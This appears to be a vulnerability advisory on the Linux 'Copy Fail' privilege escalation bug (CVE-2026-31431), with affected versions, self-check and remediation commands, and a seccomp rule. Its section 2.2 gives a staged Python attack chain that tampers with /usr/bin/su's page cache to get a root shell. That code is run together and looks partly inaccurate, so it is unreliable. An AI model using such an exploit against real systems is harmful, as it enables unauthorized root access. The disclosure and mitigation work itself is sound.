Table of Contents
1. Vulnerability Overview
On April 22, 2026, the Linux kernel disclosed a high-severity local privilege escalation vulnerability, CVE-2026-31431, codenamed Copy Fail, which had been latent for 9 years. An attacker only needs a 732-byte Python script to escalate from a low-privilege user to root on almost all mainstream Linux distributions.
The vulnerability was cataloged by CNCERT (National Internet Emergency Center) as CNVD-2026-19044, CNTA-2026-0002, with a CVSS 3.1 score of 7.8 (High). More concerning, exploit code has been made public, and Antiy has detected in-the-wild exploitation.
1.1 Comparison with Historical Vulnerabilities
| Vulnerability | Year | CVSS | Requires Race Condition | Exploitation Difficulty |
|---|---|---|---|---|
| Dirty COW (CVE-2016-5195) | 2016 | 7.8 | Yes | Medium |
| Dirty Pipe (CVE-2022-0847) | 2022 | 7.8 | Yes | Medium |
| Copy Fail (CVE-2026-31431) | 2026 | 7.8 | No | Extremely Low |
1.2 Event Timeline
| Date | Event |
|---|---|
| 2017 | Kernel commit 72548b093ee3 introduces the algif_aead in-place optimization |
| April 22, 2026 | Vulnerability disclosed, PoC and Exp released simultaneously |
| April 29, 2026 | Openwall mailing list discloses details |
| April 30, 2026 | CNCERT publishes security advisory CNTA-2026-0002 |
| April 30, 2026 | QiAnXin CERT publishes security risk advisory |
2. Technical Deep Dive
2.1 Root Cause
The Copy Fail exploit chain involves a combination of three key kernel components:
AF_ALG crypto interface + splice() system call + algif_aead in-place optimization ↓ ↓ ↓ Userspace invokes Brings file page cache Allows reuse of kernel crypto references into the memory pages during capabilities crypto processing chain encryption processing2.2 Attack Chain
The entire attack process is divided into four stages:
Stage 1: Create an AF_ALG socket and bind authencesn
import socket
#Create an AF_ALG socket and bind an authenticated encryption algorithms = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0)s.bind(('authencesn', b'hmac(sha256),cbc(aes)'))Stage 2: Bring the page cache of a setuid program into the cryptographic path via splice()
import os
#Open a setuid program (such as /usr/bin/su)fd = os.open('/usr/bin/su', os.O_RDONLY)
#Build a splice pipe to trigger a page cache referencepipe_r, pipe_w = os.pipe()os.splice(fd, 0, pipe_w, 0, 4096)os.close(fd)Stage 3: Use the algif_aead in-place optimization to write controlled 4 bytes
#Send malicious data, exploiting the in-place optimization to overwrite the page cache#Turn what should be a "read-only" page cache into "writable"s.sendmsg([b'A' * 4096], [(pipe_r, 0, 4096)])Stage 4: Execute the tampered setuid program to obtain root
#Execute su; what is read now is the malicious code in the page cacheos.execve('/usr/bin/su', [], {})#Gain a root shell directly2.3 Why “No Race Condition Required”
| Previous Similar Vulnerabilities | Copy Fail |
|---|---|
| Depends on memory operation timing windows | Logically direct read/write flaw |
| Requires multiple attempts to improve success rate | Succeeds in one attempt, 100% success rate |
| Affected by system load | Fully deterministic exploitation |
2.4 Technical Essence of the Vulnerability
Under normal flow, file data in the page cache should be read-only. However, the algif_aead in-place optimization bypasses this constraint: it allows a reference to a read-only page cache to be placed into a scatterlist, and the scatterlist is written back after the cryptographic operation. As a result, an attacker can write arbitrary 4 bytes into the page cache belonging to setuid programs such as /usr/bin/su, achieving code tampering.
It is worth noting: the vulnerability only modifies the in-memory page cache, not directly writing to disk. After a reboot or cache reclamation, the tampered content is automatically restored, but this does not affect exploitation—because the process reads from the page cache during execution.
3. Scope of Impact
3.1 Affected Kernel Versions
commit 72548b093ee3 ≤ version < commit a664bf3d603dKernels from 4.14 up to (but not including) 6.18.22, and below (but not including) 6.19.12 are all affected.
3.2 Affected Distributions
| Distribution | Affected Versions |
|---|---|
| Ubuntu | 24.04 LTS and below |
| RHEL | 8 / 9 / 10 and below |
| SUSE | 16 and below |
| Amazon Linux | 2023 and below |
| Debian / Arch / Fedora / Rocky / Alma / Oracle | Corresponding kernel versions |
3.3 Safe Versions
| Kernel Version Line | Safe Version |
|---|---|
| 6.18 LTS | ≥ 6.18.22 |
| 6.19 LTS | ≥ 6.19.12 |
| 7.0 | ≥ 7.0 |
3.4 High-Risk Scenarios
Although this vulnerability requires local low-privilege code execution capability before exploitation, the risk is significantly amplified in the following scenarios:
| Scenario | Risk Description |
|---|---|
| Shared Servers | Multi-tenant hosts, development machines, jump boxes—any user can escalate to root |
| Kubernetes / Container Clusters | Container escape: low-privilege users inside a container can tamper with the host’s page cache |
| CI/CD Runners | Build environments such as GitHub Actions, GitLab Runner, Jenkins |
| Code Sandboxes | Notebooks, online judge platforms, AI Agent execution machines |
| Cloud Servers | VPS environments with multi-tenant shared hosts |
4. Self-Check Guide
4.1 Check Kernel Version
#Check the current kernel versionuname -r
#Check full kernel version informationcat /proc/version4.2 Check Whether the algif_aead Module Is Loaded
#Check whether the module is already loadedlsmod | grep algif_aead
#Check whether the module is available (even if not loaded)modinfo algif_aead 2>/dev/null && echo "Module available, risk present"4.3 Check AF_ALG Socket Support
#Check whether the kernel was compiled with AF_ALG supportgrep CONFIG_CRYPTO_USER_API_AEAD /boot/config-$(uname -r)4.4 One-Click Diagnostic Script
#!/bin/bashecho "=== CVE-2026-31431 Copy Fail troubleshooting script ==="echo ""
KERNEL=$(uname -r)echo "[*] Current kernel version: $KERNEL"
if lsmod | grep -q algif_aead; then echo "[!] High risk: algif_aead module is loaded!"else echo "[*] algif_aead module is not loaded"fi
if modinfo algif_aead &>/dev/null; then echo "[!] High risk: algif_aead module is available (it can be triggered to load even if not loaded)"else echo "[*] algif_aead module is unavailable"fi
echo "[*] Please manually check whether the kernel version is within the safe range"echo " Safe versions: 6.18.22+ / 6.19.12+ / 7.0+"5. Remediation and Handling Guide
5.1 Permanent Fix: Upgrade the Kernel (Recommended)
# Ubuntu / Debiansudo apt update && sudo apt full-upgrade -ysudo reboot
# RHEL / CentOS / Fedorasudo dnf update kernel -ysudo reboot
# SUSE / openSUSEsudo zypper update kernel -ysudo reboot
# Arch Linuxsudo pacman -S linux linux-ltssudo reboot
#Confirm after rebootuname -r5.2 Temporary Mitigation: Disable the algif_aead Module
#1. Permanently disable the moduleecho "install algif_aead /bin/false" | sudo tee /etc/modprobe.d/disable-algif-aead.conf
#2. Immediately unload the loaded modulesudo rmmod algif_aead 2>/dev/null
#3. Confirm the module has been disabledsudo modprobe algif_aead 2>&1 #Should show it is blocked by /bin/false5.3 Container-Side Protection: Block AF_ALG Sockets
#Block AF_ALG socket creation inside containers via a seccomp policy#Add to the Docker run parameters--security-opt seccomp=/path/to/custom-seccomp.json
#Custom seccomp rule example:# { "names": ["socket"], "action": "ERRNO", "args": [# { "index": 0, "value": 38, "op": "SCMP_CMP_EQ" }# ] }5.4 Post-Incident Investigation: Clear the Page Cache and Check for Backdoors
#1. Drop page caches (automatically restored after reboot; this step is unnecessary)sync && echo 3 | sudo tee /proc/sys/vm/drop_caches
#2. Check for abnormal processesps auxf | grep -E "su|sudo|bash|sh"
#3. Check for backdoors in temporary directoriesls -la /tmp /var/tmp
#4. Check login logslast -n 50
#5. Check setuid program hashessha256sum /usr/bin/su /usr/bin/sudo /usr/bin/passwd6. Security Lessons
6.1 Why a Code Optimization Became a Security Vulnerability
The root cause of Copy Fail is an in-place optimization introduced in 2017. The optimization itself had good intentions—reducing memory copies and improving encryption performance. But its design did not fully account for the security boundary of the page cache:
| Design Assumption | Actual Situation |
|---|---|
| Data in the scatterlist comes from a user buffer | splice() can introduce page cache references |
| The target memory of the encryption operation can be safely written to | The page cache should not be writable by ordinary users |
| The in-place optimization saves one copy | It saves one copy but breaks read-only semantics |
6.2 The Discovery Process: AI + Human Collaboration
The discovery of this vulnerability combined human insight with AI tools:
- Researcher Taeyang Lee first identified the attack surface of the AF_ALG encryption interface + splice()
- Then used the AI-assisted auditing tool Xint Code to scan the crypto/ subsystem
- It took only about 1 hour to locate this highest-severity vulnerability
This is a successful case of AI-assisted vulnerability discovery in the security field.
6.3 Defense in Depth
┌─────────────────────────────────┐│ 1. Upgrade the kernel version promptly (fundamental solution) │├─────────────────────────────────┤│ 2. Disable unnecessary kernel modules │├─────────────────────────────────┤│ 3. Container Security Context restrictions │├─────────────────────────────────┤│ 4. seccomp / AppArmor / SELinux │├─────────────────────────────────┤│ 5. File integrity monitoring (AIDE/Samhain) │└─────────────────────────────────┘7. Summary
- CVE-2026-31431 is the most severe Linux local privilege escalation vulnerability since Dirty COW / Dirty Pipe
- The exploit requires no race condition, has a 100% success rate, and needs only a 732-byte Python script
- It affects almost all mainstream Linux distributions since 2017
- In container environments, it can achieve container escape, threatening cloud-native infrastructure
- Immediately upgrading the kernel to a secure version is the most thorough fix
- Temporary measures:
install algif_aead /bin/false